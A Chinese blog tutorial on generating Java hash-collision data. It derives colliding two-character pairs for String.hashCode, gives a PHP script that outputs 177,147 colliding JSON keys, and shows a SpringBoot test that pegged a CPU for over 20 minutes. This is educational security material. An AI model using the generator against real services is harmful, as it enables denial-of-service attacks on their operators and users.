Java Hash Collision之数据生产

简介:

上一篇文章一种高级的DoS攻击-Hash碰撞攻击我通过伪造Hash Collision数据实现了对Java的DoS攻击,下面说说如何生产大量的攻击数据。

HashTable是一种非常常用的数据结构。它存取速度快,结构简单,深得程序员喜爱。HashTable大致数据结构如下图:

Hash Collition

Hash Function也叫哈希散列函数,通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址。常见的散列函数有MD5,SHA*。不过HashTable中基本不会用MD5,SHA*算法,因为这两类算法太耗时,基本所有的编程语言都会选择Times*类型算法,比如Times31,times33,times37。Java使用的Hash算法为Times31,PHP使用的Hash算法为times33……

如果正常的使用HashTable,HashTable会是一种完美的数据结构。不过总有一些时候HashTable会被不正常使用,例如被攻击。假设"layne","abbc"这两个key通过散列算法得到的内存地址一样,我们的程序就不知道到底要获取哪一个key的参数。针对这种情况我们引入了Bucket(一个链表结构)的概念,当遇到这种情况时,程序会将同一个内存地址对应的多个数据存入同一个Bucket链表,这样能解决数据获取不到的问题,但是会带来额外的运算。当数十万甚至百万的数据都打到同一个Bucket,对HashTable的影响是致命的,运算量将急剧增加,分分钟将CPU耗尽。

通过研究各种语言底层的HashTable散列算法就能生产对应的攻击数据,这种攻击很难防御。不过在我们知道攻击原理之后,还是能很好应对。

一. Java HashCode函数实现

通过Google,我们很轻松的就搜索到了Java HashTable实现的散列算法,在Java中有个叫HashCode()的方法,我们可以这样使用。

System.out.println("it2048.cn".hashCode());

HashCode()函数底层就是使用times31算法,至于为什么选择times31,官方说法是 『 31 * i == (i << 5) - i 』,运算起来更快。源代码如下:

/**
 * Returns a hash code for this string. The hash code for a
 * <code>String</code> object is computed as
 * <blockquote><pre>
 * s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
 * </pre></blockquote>
 * using <code>int</code> arithmetic, where <code>s[i]</code> is the
 * <i>i</i>th character of the string, <code>n</code> is the length of
 * the string, and <code>^</code> indicates exponentiation.
 * (The hash value of the empty string is zero.)
 *
 * @return  a hash code value for this object.
 */
public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

核心的计算的公式如下:

s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]

通过推导计算,得到的计算公式如下:

F(n) = 31*F(n-1) + str[i]

使用PHP实现如下(这里只为加强说明哈希散列算法底层都是很简单的公式):

function hashCode($str) {  
    $h = 0;
    $len = strlen($str);
    $t = 2147483648; //java int的最大值
    for ($i = 0; $i < $len; $i++) {
        $h = (($h << 5) - $h) + ord($str[$i]);
        if($h > $t) $h %= $t; //溢出取模
    }
    return $h;
}

二. 通过Java HashCode函数实现逆推

通过如下公式

F(n) = 31*F(n-1) + str[i]

我们可以进一步推导出如下方程式:

31*x + y = 31*(x+1) + y-31 = 31*(x+2) + y-62

我们很容易找到满足条件的3组ASCII字符,分别是:

at = 97*31 + 116 = 3123

bU = 98*31 + 85 = 3123

c6 = 99*31 + 54 = 3123

通过如上数据,理论上我们可以构造任何偶数位的字符串,比如:

  1. atatatatatatatat (16位)
  2. c6atatatatatatbU (16位)
  3. atatatatatatbUat (16位)
  4. c6c6c6c6c6c6bUat (16位)

如上16位字符串得到的hashCode都是一样,理论上我们可以得到 pow(3,16/2) = 6561 个字符串;22位长度的字符串可以得到pow(3,22/2) = 177147 个字符串,用来发起简单的攻击完全足够。接下来我们封装一个简单的函数来生成 177147 个攻击字符串;

三. 通过脚本批量产出碰撞数据

如上我们已经推算出碰撞数据的实现方程式,接下来我通过PHP快速的生成碰撞数据。这里最好不要使用Java来生成碰撞数据,因为操作不当就会变成攻击自己的脚本。

$arr_src = ['at','bU','c6']; 
$str_tmp = '';  //存储临时字符串
$arr_rtn = [];
$t = combs(11,$arr_src,$str_tmp,$arr_rtn);
/**
 * 组合算法
 **/
function combs($n,$arr,$str,&$arr_rtn) {
    if($n==1){
        for($j=0;$j<3;$j++){
            $arr_rtn[$str.$arr[$j]] = 0;
        }
    }else
    {
        for($j=0;$j<3;$j++){
            combs($n-1,$arr,$str.$arr[$j],$arr_rtn);
        }
    }
}
$json = json_encode($arr_rtn);
file_put_contents('log/times31.txt',$json);

最后我们生成了如下数据(截取了前面几条):

{
    "atatatatatatatatatatat":0,
    "atatatatatatatatatatbU":0,
    "atatatatatatatatatatc6":0,
    "atatatatatatatatatbUat":0,
    "atatatatatatatatatbUbU":0,
    "atatatatatatatatatbUc6":0,
    "atatatatatatatatatc6at":0,
    "atatatatatatatatatc6bU":0,
    "atatatatatatatatatc6c6":0,
    "atatatatatatatatbUatat":0,
    "atatatatatatatatbUatbU":0,
    "atatatatatatatatbUatc6":0,
    "atatatatatatatatbUbUat":0,
    "atatatatatatatatbUbUbU":0,
    "atatatatatatatatbUbUc6":0,
    "atatatatatatatatbUc6at":0
}

四. 在Java中测试碰撞数据

通过程序我们生成了177147条碰撞数据,然后在SpringBoot中做个简单的测试,测试代码如下:

public class IndexController {

    @RequestMapping(value="/",method = RequestMethod.GET)
    public String index(){

        String jsonStr = "";
        try
        {
            FileReader fr = new FileReader("times31.txt");//需要读取的文件路径
            BufferedReader br = new BufferedReader(fr);
            jsonStr = br.readLine();
            br.close();//关闭BufferReader流
            fr.close();        //关闭文件流
        }catch(IOException e)//捕捉异常
        {
            System.out.println("指定文件不存在");//处理异常
        }

        Map<String, Object> map = new HashMap<String, Object>();

        map = JSONObject.fromObject(jsonStr);


        return "Hash Collision ~";
    }
}

测试结果,一个CPU被打到100%,持续了20多分钟。Mac Pro马上发烫,风扇开启。结束该java进程后电脑恢复。

上一篇文章链接地址:一种高级的DoS攻击-Hash碰撞攻击

未完待续……

我的博客-原文链接:Java Hash Collision之数据生产

目录
相关文章
|
10天前
|
Java 程序员 容器
Java中的变量和常量:数据的‘小盒子’和‘铁盒子’有啥不一样?
在Java中,变量是一个可以随时改变的数据容器,类似于一个可以反复打开的小盒子。定义变量时需指定数据类型和名称。例如:`int age = 25;` 表示定义一个整数类型的变量 `age`,初始值为25。 常量则是不可改变的数据容器,类似于一个锁死的铁盒子,定义时使用 `final` 关键字。例如:`final int MAX_SPEED = 120;` 表示定义一个名为 `MAX_SPEED` 的常量,值为120,且不能修改。 变量和常量的主要区别在于变量的数据可以随时修改,而常量的数据一旦确定就不能改变。常量主要用于防止意外修改、提高代码可读性和便于维护。
|
1月前
|
算法 Java 数据处理
从HashSet到TreeSet,Java集合框架中的Set接口及其实现类以其“不重复性”要求,彻底改变了处理唯一性数据的方式。
从HashSet到TreeSet,Java集合框架中的Set接口及其实现类以其“不重复性”要求,彻底改变了处理唯一性数据的方式。HashSet基于哈希表实现,提供高效的元素操作;TreeSet则通过红黑树实现元素的自然排序,适合需要有序访问的场景。本文通过示例代码详细介绍了两者的特性和应用场景。
40 6
|
29天前
|
存储 Java API
深入剖析Java Map:不只是存储数据,更是设计艺术的体现!
【10月更文挑战第17天】在Java编程中,Map是一种重要的数据结构,用于存储键值对,并展现了设计艺术的精髓。本文深入剖析了Map的设计原理和使用技巧,包括基本概念、设计艺术(如哈希表与红黑树的空间时间权衡)、以及使用技巧(如选择合适的实现类、避免空指针异常等),帮助读者更好地理解和应用Map。
89 3
|
11天前
|
存储 缓存 安全
在 Java 编程中,创建临时文件用于存储临时数据或进行临时操作非常常见
在 Java 编程中,创建临时文件用于存储临时数据或进行临时操作非常常见。本文介绍了使用 `File.createTempFile` 方法和自定义创建临时文件的两种方式,详细探讨了它们的使用场景和注意事项,包括数据缓存、文件上传下载和日志记录等。强调了清理临时文件、确保文件名唯一性和合理设置文件权限的重要性。
27 2
|
11天前
|
Java
Java 8 引入的 Streams 功能强大,提供了一种简洁高效的处理数据集合的方式
Java 8 引入的 Streams 功能强大,提供了一种简洁高效的处理数据集合的方式。本文介绍了 Streams 的基本概念和使用方法,包括创建 Streams、中间操作和终端操作,并通过多个案例详细解析了过滤、映射、归并、排序、分组和并行处理等操作,帮助读者更好地理解和掌握这一重要特性。
21 2
|
15天前
|
存储 分布式计算 Java
存算分离与计算向数据移动:深度解析与Java实现
【11月更文挑战第10天】随着大数据时代的到来,数据量的激增给传统的数据处理架构带来了巨大的挑战。传统的“存算一体”架构,即计算资源与存储资源紧密耦合,在处理海量数据时逐渐显露出其局限性。为了应对这些挑战,存算分离(Disaggregated Storage and Compute Architecture)和计算向数据移动(Compute Moves to Data)两种架构应运而生,成为大数据处理领域的热门技术。
38 2
|
1月前
|
存储 SQL 小程序
JVM知识体系学习五:Java Runtime Data Area and JVM Instruction (java运行时数据区域和java指令(大约200多条,这里就将一些简单的指令和学习))
这篇文章详细介绍了Java虚拟机(JVM)的运行时数据区域和JVM指令集,包括程序计数器、虚拟机栈、本地方法栈、直接内存、方法区和堆,以及栈帧的组成部分和执行流程。
32 2
JVM知识体系学习五:Java Runtime Data Area and JVM Instruction (java运行时数据区域和java指令(大约200多条,这里就将一些简单的指令和学习))
|
21天前
|
SQL Java OLAP
java实现“数据平滑升级”
java实现“数据平滑升级”
39 2
|
26天前
|
SQL Java 关系型数据库
java连接mysql查询数据(基础版,无框架)
【10月更文挑战第12天】该示例展示了如何使用Java通过JDBC连接MySQL数据库并查询数据。首先在项目中引入`mysql-connector-java`依赖,然后通过`JdbcUtil`类中的`main`方法实现数据库连接、执行SQL查询及结果处理,最后关闭相关资源。
|
1月前
|
Java
Java Set以其“不重复”的特性,为我们提供了一个高效、简洁的处理唯一性约束数据的方式。
【10月更文挑战第16天】在Java编程中,Set接口确保集合中没有重复元素,每个元素都是独一无二的。HashSet基于哈希表实现,提供高效的添加、删除和查找操作;TreeSet则基于红黑树实现,不仅去重还能自动排序。通过这两个实现类,我们可以轻松处理需要唯一性约束的数据,提升代码质量和效率。
36 2
下一篇
无影云桌面